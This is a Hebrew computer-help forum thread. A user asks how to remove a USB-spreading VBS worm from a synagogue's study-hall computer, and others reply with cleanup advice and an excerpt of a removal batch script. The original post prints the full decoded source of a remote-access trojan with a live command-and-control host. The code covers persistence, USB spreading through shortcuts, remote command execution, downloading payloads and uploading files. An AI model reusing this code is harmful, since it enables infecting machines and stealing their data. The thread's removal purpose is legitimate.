דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 183 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • cfopuserC cfopuser

    עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

    (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
    ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
    אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

    מתכנת חובבמ מנותק
    מתכנת חובבמ מנותק
    מתכנת חובב
    מדריכים
    כתב נערך לאחרונה על ידי מתכנת חובב
    #8

    @cfopuser הוא לא יטפל בזה
    עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
    מה- startup הוא מנקה רק את אלו

    for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
        if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
    

    כנ"ל מהרגיסטרי

    ::Clean Registry / Startup
    For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
    	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
    		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
    			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
    			)
    		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
    			reg delete %%~P /v "%%~A" /f		
    			)
    		reg query %%~P /s
    		)
    	)
    for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
    	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
    		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
    	)
    	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
    		reg delete %%~P /v "%%~A" /f
    		)
    	reg query %%~P /s
    	)
    

    וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

    ::internal drives
    for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
    	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
    		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
    		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
    		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
    		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
    		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
    		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
    		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
    		)
    	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
    		attrib -s -h -r "%%X\%%A"
    		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
    		)
    	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
    		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
    			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
    			)
    		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
    			attrib -s -h -r "%%X\%%D\%%A"
    			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
    			)
    		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
    		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
    		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
    		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
    		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
    		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
    		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
    		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
    		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
    		)
    	set "AutoHK.NAPd="
    	)
    

    המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

    cfopuserC תגובה 1 תגובה אחרונה
    1
    • מתכנת חובבמ מתכנת חובב

      @cfopuser הוא לא יטפל בזה
      עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
      מה- startup הוא מנקה רק את אלו

      for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
          if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
      

      כנ"ל מהרגיסטרי

      ::Clean Registry / Startup
      For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
      	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
      		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
      			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
      			)
      		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
      			reg delete %%~P /v "%%~A" /f		
      			)
      		reg query %%~P /s
      		)
      	)
      for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
      	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
      		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
      	)
      	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
      		reg delete %%~P /v "%%~A" /f
      		)
      	reg query %%~P /s
      	)
      

      וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

      ::internal drives
      for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
      	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
      		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
      		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
      		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
      		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
      		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
      		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
      		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
      		)
      	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
      		attrib -s -h -r "%%X\%%A"
      		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
      		)
      	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
      		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
      			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
      			)
      		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
      			attrib -s -h -r "%%X\%%D\%%A"
      			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
      			)
      		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
      		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
      		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
      		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
      		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
      		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
      		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
      		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
      		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
      		)
      	set "AutoHK.NAPd="
      	)
      

      המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

      cfopuserC מנותק
      cfopuserC מנותק
      cfopuser
      כתב נערך לאחרונה על ידי
      #9

      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

      או לכבות vbs דרך הריג'יסטרי.

      מתכנת חובבמ תגובה 1 תגובה אחרונה
      1
      • cfopuserC cfopuser

        @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

        או לכבות vbs דרך הריג'יסטרי.

        מתכנת חובבמ מנותק
        מתכנת חובבמ מנותק
        מתכנת חובב
        מדריכים
        כתב נערך לאחרונה על ידי
        #10

        @cfopuser בשביל מה?
        אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

        cfopuserC תגובה 1 תגובה אחרונה
        0
        • מתכנת חובבמ מתכנת חובב

          @cfopuser בשביל מה?
          אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

          cfopuserC מנותק
          cfopuserC מנותק
          cfopuser
          כתב נערך לאחרונה על ידי
          #11

          @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          @cfopuser בשביל מה?

          לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

          מתכנת חובבמ תגובה 1 תגובה אחרונה
          0
          • ר רנדומלי

            בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

            cmd /c hrxxryydxo.vbs && start explorer [file name]
            

            הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

            תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

            לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

            z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
            

            בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
            לאחר פיענוח הקידוד התקבל הקוד הבא:
            אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

            e
            '<[ recoder : houdini (c) skype : houdini-fx ]>
            
            '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
            
            host = "khattab.no-ip.biz"
            port = 5550
            installdir = "%temp%"
            lnkfile = true
            lnkfolder = true
            
            '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
            
            dim shellobj 
            set shellobj = wscript.createobject("wscript.shell")
            dim filesystemobj
            set filesystemobj = createobject("scripting.filesystemobject")
            dim httpobj
            set httpobj = createobject("msxml2.xmlhttp")
            
            '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
            
            installname = wscript.scriptname
            startup = shellobj.specialfolders ("startup") & "\"
            installdir = shellobj.expandenvironmentstrings(installdir) & "\"
            if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
            spliter = "<" & "|" & ">"
            sleep = 5000 
            dim response
            dim cmd
            dim param
            info = ""
            usbspreading = ""
            startdate = ""
            dim oneonce
            
            '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
            on error resume next
            
            instance
            while true
            
            install
            
            response = ""
            response = post ("is-ready","")
            cmd = split (response,spliter)
            select case cmd (0)
            case "excecute"
                  param = cmd (1)
                  execute param
            case "update"
                  param = cmd (1)
                  oneonce.close
                  set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                  oneonce.write param
                  oneonce.close
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                  wscript.quit 
            case "uninstall"
                  uninstall
            case "send"
                  download cmd (1),cmd (2)
            case "site-send"
                  sitedownloader cmd (1),cmd (2)
            case "recv"
                  param = cmd (1)
                  upload (param)
            case  "enum-driver"
                  post "is-enum-driver",enumdriver  
            case  "enum-faf"
                  param = cmd (1)
                  post "is-enum-faf",enumfaf (param)
            case  "enum-process"
                  post "is-enum-process",enumprocess   
            case  "cmd-shell"
                  param = cmd (1)
                  post "is-cmd-shell",cmdshell (param)  
            case  "delete"
                  param = cmd (1)
                  deletefaf (param) 
            case  "exit-process"
                  param = cmd (1)
                  exitprocess (param) 
            case  "sleep"
                  param = cmd (1)
                  sleep = eval (param)        
            end select
            
            wscript.sleep sleep
            
            wend
            
            sub install
            on error resume next
            dim lnkobj
            dim filename
            dim foldername
            dim fileicon
            dim foldericon
            
            upstart
            for each drive in filesystemobj.drives
            
            if  drive.isready = true then
            if  drive.freespace  > 0 then
            if  drive.drivetype  = 1 then
                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                end if
                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                    if not lnkfile then exit for
                    if  instr (file.name,".") then
                        if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                            file.attributes = 2+4
                            if  ucase (file.name) <> ucase (installname) then
                                filename = split(file.name,".")
                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                lnkobj.windowstyle = 7
                                lnkobj.targetpath = "cmd.exe"
                                lnkobj.workingdirectory = ""
                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                if  instr (fileicon,",") = 0 then
                                    lnkobj.iconlocation = file.path
                                else 
                                    lnkobj.iconlocation = fileicon
                                end if
                                lnkobj.save()
                            end if
                        end if
                    end if
                next
                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                    if not lnkfolder then exit for
                    folder.attributes = 2+4
                    foldername = folder.name
                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                    lnkobj.windowstyle = 7
                    lnkobj.targetpath = "cmd.exe"
                    lnkobj.workingdirectory = ""
                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                    foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                    if  instr (foldericon,",") = 0 then
                        lnkobj.iconlocation = folder.path
                    else 
                        lnkobj.iconlocation = foldericon
                    end if
                    lnkobj.save()
                next
            end If
            end If
            end if
            next
            err.clear
            end sub
            
            sub uninstall
            on error resume next
            dim filename
            dim foldername
            
            shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
            shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
            filesystemobj.deletefile startup & installname ,true
            filesystemobj.deletefile wscript.scriptfullname ,true
            
            for  each drive in filesystemobj.drives
            if  drive.isready = true then
            if  drive.freespace  > 0 then
            if  drive.drivetype  = 1 then
                for  each file in filesystemobj.getfolder ( drive.path & "\").files
                     on error resume next
                     if  instr (file.name,".") then
                         if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                             file.attributes = 0
                             if  ucase (file.name) <> ucase (installname) then
                                 filename = split(file.name,".")
                                 filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                             else
                                 filesystemobj.deletefile (drive.path & "\" & file.name)
                             end If
                         else
                             filesystemobj.deletefile (file.path) 
                         end if
                     end if
                 next
                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                     folder.attributes = 0
                 next
            end if
            end if
            end if
            next
            wscript.quit
            end sub
            
            function post (cmd ,param)
            
            post = param
            httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
            httpobj.setrequestheader "user-agent:",information
            httpobj.send param
            post = httpobj.responsetext
            end function
            
            function information
            on error resume next
            if  inf = "" then
                inf = hwid & spliter 
                inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
            
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set os = root.execquery ("select * from win32_operatingsystem")
                for each osinfo in os
                   inf = inf & osinfo.caption & spliter  
                   exit for
                next
                inf = inf & "plus" & spliter
                inf = inf & security & spliter
                inf = inf & usbspreading
                information = inf  
            else
                information = inf
            end if
            end function
            
            sub upstart ()
            on error resume Next
            
            shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
            filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
            filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
            
            end sub
            
            function hwid
            on error resume next
            
            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set disks = root.execquery ("select * from win32_logicaldisk")
            for each disk in disks
                if  disk.volumeserialnumber <> "" then
                    hwid = disk.volumeserialnumber
                    exit for
                end if
            next
            end function
            
            function security 
            on error resume next
            
            security = ""
            
            set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
            for each objitem in colitems
                versionstr = split (objitem.version,".")
            next
            versionstr = split (colitems.version,".")
            osversion = versionstr (0) & "."
            for  x = 1 to ubound (versionstr)
                 osversion = osversion &  versionstr (i)
            next
            osversion = eval (osversion)
            if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
            
            set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
            Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
            
            for each objantivirus in colantivirus
                security  = security  & objantivirus.displayname & " ."
            next
            if security  = "" then security  = "nan-av"
            end function
            
            function instance
            on error resume next
            
            usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
            if usbspreading = "" then
               if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                  usbspreading = "true - " & date
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
               else
                  usbspreading = "false - " & date
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
            
               end if
            end If
            
            
            upstart
            set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
            set installfullnameshort =  filesystemobj.getfile (installdir & installname)
            if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                wscript.quit 
            end If
            err.clear
            set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
            if  err.number > 0 then wscript.quit
            end function
            
            sub sitedownloader (fileurl,filename)
            
            strlink = fileurl
            strsaveto = installdir & filename
            set objhttpdownload = createobject("msxml2.xmlhttp" )
            objhttpdownload.open "get", strlink, false
            objhttpdownload.send
            
            set objfsodownload = createobject ("scripting.filesystemobject")
            if  objfsodownload.fileexists (strsaveto) then
                objfsodownload.deletefile (strsaveto)
            end if
             
            if objhttpdownload.status = 200 then
               dim  objstreamdownload
               set  objstreamdownload = createobject("adodb.stream")
               with objstreamdownload
                    .type = 1 
                    .open
                    .write objhttpdownload.responsebody
                    .savetofile strsaveto
                    .close
               end with
               set objstreamdownload = nothing
            end if
            if objfsodownload.fileexists(strsaveto) then
               shellobj.run objfsodownload.getfile (strsaveto).shortpath
            end if 
            end sub
            
            sub download (fileurl,filedir)
            
            if filedir = "" then 
               filedir = installdir
            end if
            
            strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
            set objhttpdownload = createobject("msxml2.xmlhttp")
            objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
            objhttpdownload.send ""
                 
            set objfsodownload = createobject ("scripting.filesystemobject")
            if  objfsodownload.fileexists (strsaveto) then
                objfsodownload.deletefile (strsaveto)
            end if
            if  objhttpdownload.status = 200 then
                dim  objstreamdownload
                set  objstreamdownload = createobject("adodb.stream")
                with objstreamdownload 
                     .type = 1 
                     .open
                     .write objhttpdownload.responsebody
                     .savetofile strsaveto
                     .close
                end with
                set objstreamdownload  = nothing
            end if
            if objfsodownload.fileexists(strsaveto) then
               shellobj.run objfsodownload.getfile (strsaveto).shortpath
            end if 
            end sub
            
            function upload (fileurl)
            
            dim  httpobj,objstreamuploade,buffer
            set  objstreamuploade = createobject("adodb.stream")
            with objstreamuploade 
                 .type = 1 
                 .open
                 .loadfromfile fileurl
                 buffer = .read
                 .close
            end with
            set objstreamdownload = nothing
            set httpobj = createobject("msxml2.xmlhttp")
            httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
            httpobj.send buffer
            end function
            
            function enumdriver ()
            
            for  each drive in filesystemobj.drives
            if   drive.isready = true then
                 enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
            end if
            next
            end Function
            
            function enumfaf (enumdir)
            
            enumfaf = enumdir & spliter
            for  each folder in filesystemobj.getfolder (enumdir).subfolders
                 enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
            next
            
            for  each file in filesystemobj.getfolder (enumdir).files
